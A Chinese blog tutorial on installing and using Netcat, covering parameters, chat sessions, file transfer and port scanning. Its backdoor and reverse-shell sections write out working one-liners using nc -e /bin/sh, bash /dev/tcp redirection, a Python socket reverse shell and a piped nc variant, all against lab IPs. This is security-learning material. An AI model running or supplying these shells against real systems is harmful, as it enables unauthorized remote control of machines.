瑞士军刀——Netcat的安装与详细使用

作者永不落的梦想

作者主页传送

座右铭过去属于死神,未来属于自己

本文专栏神器使用篇

今日鸡汤当你在夜晚孤军奋战时,漫天星光为你而闪烁

目录

一、介绍

二、安装

1.在Windows下安装

2.在kali下安装

三、基本使用

1.命令参数

2.会话连接

3.shell连接

​编辑

4.文件传输

5.信息探测

6.建立后门

7.连接转发

8.反弹shell


一、介绍

        Netcat简称nc,被誉为网安的“瑞士军刀”,是一款强大的网络命令行工具,其体积小巧、功能强大,用于建立主机间的TCP/UDP连接,并通过标准输入输出进行数据的读写,可实现端口监听、文件传输、建立后门、端口转发、shell反弹等功能;

二、安装

1.在Windows下安装

下载地址:https://eternallybored.org/misc/netcat/

 有两个版本可选择一个点击安装;

安装后解压即可使用,在nc.exe程序的目录打开cmd:nc.exe -l -p 9999,也可以将nc.exe所在目录添加到环境变量中再使用cmd:nc -l -p 9999,nc具体使用可用nc.exe -h查看使用说明;

2.在kali下安装

在Linux中安装,kali一般自带nc,若无可使用安装命令安装:

安装命令:yum install nc

查看nc使用说明:nc -h

三、基本使用

1.命令参数

可执行nc -h命令查看netcat的命令参数

-d        脱离命令行,当命令行关闭后不会关闭nc,而在后台运行,常用于后面建立,如nc -l           -p 9999 -d

-e        命令执行,常用于后面建立,如nc -l -p 9999 -e /bin/sh

-l         设置netcat处于监听状态等待连接,如nc -l -p 9999

-L        设置netcat处于监听状态等待连接,且当客户端断开后回到监听状态等待连接,如nc            -L -p 9999

-n       只识别IP地址而不做DNS解析,如nc -l -p 9999 -n

-p       设置监听的端口号,如nc -l -p 9999

-r        设置随机监听端口号,如nc -l -r

-s       设置netcat源IP地址,用于隐藏服务端;

-u       设置netcat使用UDP模式,不指定u参数默认使用TCP;

-v       显示错误提示信息;

-w secs        设置连接超时秒数secs;

-z       设置netcat扫描模式,发送的数据包不含payload可加快速度缩短时间;

2.会话连接

        服务端为开启nc监听等待连接的一方,客户端为连接nc服务端的一方;

        会话连接可使nc连接的双方进行交互,连接后输入内容回车即可发送消息;

服务端:nc -l -p 9999

客户端:nc 192.168.83.102 9999

192.168.83.102为服务端IP,9999为服务端开放的nc监听端口等待连接,客户端连接后,服务端和客户端可进行会话交互;

3.shell连接

        服务端的nc监听使用参数e指定shell,客户端连接后可获得服务端的shell执行命令;

服务端:nc -l -p 9999 -e /bin/sh

客户端:nc 192.168.83.102 9999

4.文件传输

        使用输出重定向>可实现nc传输文件;

客户端传输文件给服务端,将1.txt文件内容传输给服务端保存为flag.txt文件:

服务端:nc -l -p 9999 > flag.txt

客户端:nc 192.168.83.102 < 1.txt

也可以服务端向客户端传输文件,只需改变输出重定向>的方向即可:

服务端:nc -l -p 9999 < flag.txt

客户端:nc 192.168.83.102 > 1.txt

5.信息探测

探测目标主机192.168.83.10的端口信息:

nc -n -v -w1 -z 192.168.83.10 1-1023

6.建立后门

①监听型,客户端获取服务端的shell,与shell连接类似:

服务端:nc -l -p 9999 -e /bin/sh

客户端:nc 192.168.83.102 9999

②连接型,服务端获取客户端的shell,与shell连接类似:

服务端:nc -l -p 9999

客户端:nc 192.168.83.102 9999 -e /bin/sh

7.连接转发

主机1与主机2处于同一网段,主机3为主机1的内网,主机2不能直接访问主机3但可以通过主机1间接访问主机3;

主机3:nc -l -p 9999

主机1:nc -l -p 7777 -e delay.bat,delay.bat内容:nc 主机3IP 9999

主机2:nc 主机1IP 7777

这样即可建立主机2与主机3的nc连接;

8.反弹shell

反弹shell,即客户端开启端口监听等待服务端连接,服务端连接后,客户端可获得服务端的shell;

①服务端安装了netcat时:

服务端:nc 192.168.83.102 9999 -e /bin/sh

客户端:nc -l -p 9999

②服务端没有安装netcat时:

服务端:bash -i >& /dev/tcp/192.168.83.102/9999 0>&1

 客户端:nc -l -p 9999

③服务端无netcat,但有python时,

服务端:

# 需改为客户端的IP和端口
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.83.102",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

客户端:nc -l -p 9999

④服务端不支持-e参数时,

服务端:nc 192.168.83.102 9999 | /bin/sh | nc 192.168.83.102 7777

客户端:nc -lvp 9999,nc -lvp 7777

 客户端开启两个监听端口,反弹shell后可实现:在9999端口的nc中输入命令,执行结果返回在7777端口的nc中;

  • 3
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
本软件包含windows和linux两种版本 1、 了解NC的用法 命令:   nc –h 技巧:   win98用户可以在autoexec.bat加入path=nc的路径,win2000用户在环境变量中加入path中,linux含有这个命令(redhat) 1、基本使用   想要连接到某处: nc [-options] hostname port[s] [ports] ...   绑定端口等待连接: nc -l -p port [-options] [hostname] [port]   参数:   -e prog 程序重定向,一旦连接,就执行 [危险!!]   -g gateway source-routing hop point[s], up to 8   -G num source-routing pointer: 4, 8, 12, ...   -h 帮助信息   -i secs 延时的间隔   -l 监听模式,用于入站连接   -n 指定数字的IP地址,不能用hostname   -o file 记录16进制的传输   -p port 本地端口号   -r 任意指定本地及远程端口   -s addr 本地源地址   -u UDP模式   -v 详细输出——用两个-v可得到更详细的内容   -w secs timeout的时间   -z 将输入输出关掉——用于扫描时   其中端口号可以指定一个或者用lo-hi式的指定范围。   例如:扫描端口   tcp扫描   C:\nc>nc -v -z -w2 192.168.0.80 1-140   net [192.168.0.80] 140 (?)   net [192.168.0.80] 139 (netbios-ssn) open   net [192.168.0.80] 138 (?)   net [192.168.0.80] 137 (netbios-ns)   net [192.168.0.80] 136 (?)   net [192.168.0.80] 135 (epmap) open   net [192.168.0.80] 81 (?) open   net [192.168.0.80] 80 (http) open   net [192.168.0.80] 79 (finger)   net [192.168.0.80] 25 (smtp) open   net [192.168.0.80] 24 (?)   net [192.168.0.80] 23 (telnet)   net [192.168.0.80] 21 (ftp)   udp扫描   C:\nc>nc -u -v -z -w2 192.168.0.80 1-140   net [192.168.0.80] 140 (?) open   net [192.168.0.80] 139 (?) open   net [192.168.0.80] 138 (netbios-dgm) open   net [192.168.0.80] 137 (netbios-ns) open   net [192.168.0.80] 54 (?) open   net [192.168.0.80] 53 (domain) open   net [192.168.0.80] 38 (?) open   net [192.168.0.80] 37 (time) open   net [192.168.0.80] 7 (echo) open 2、高级应用   1.Window用法:   (1)IE的MIME欺骗   www.try2hack..nl(是一个让初学黑客技术的人去做实验的站点)   打开这个页面,有http://www.try2hack/cgi-bin/level7页面(这个网站提供了黑客的8关,过了这8关证明你开始入门了),这个页面告诉我们的浏览器不是 IE6.72,我们的操作系统不是LIUNX,我们不是从www.microsoft/ms重定向链接过去的,有病阿(这是一个题目呀,要慢慢研究),linux有IE6.72? 微软会在它的页面上放的链接?看看页面的源代码,是在服务器端 执行的perl脚本,根本无法看到,还是研究一下IE5和它通信时都告诉了它什么,抓包,我们会发现,我们的IE5告诉对方: 我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。。。。哈哈,这个cgi应该是根据这些信息知道我们不是它要求的 客户,嘿嘿,需要欺骗对方才行,用军刀来可以实现,如下做就可

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值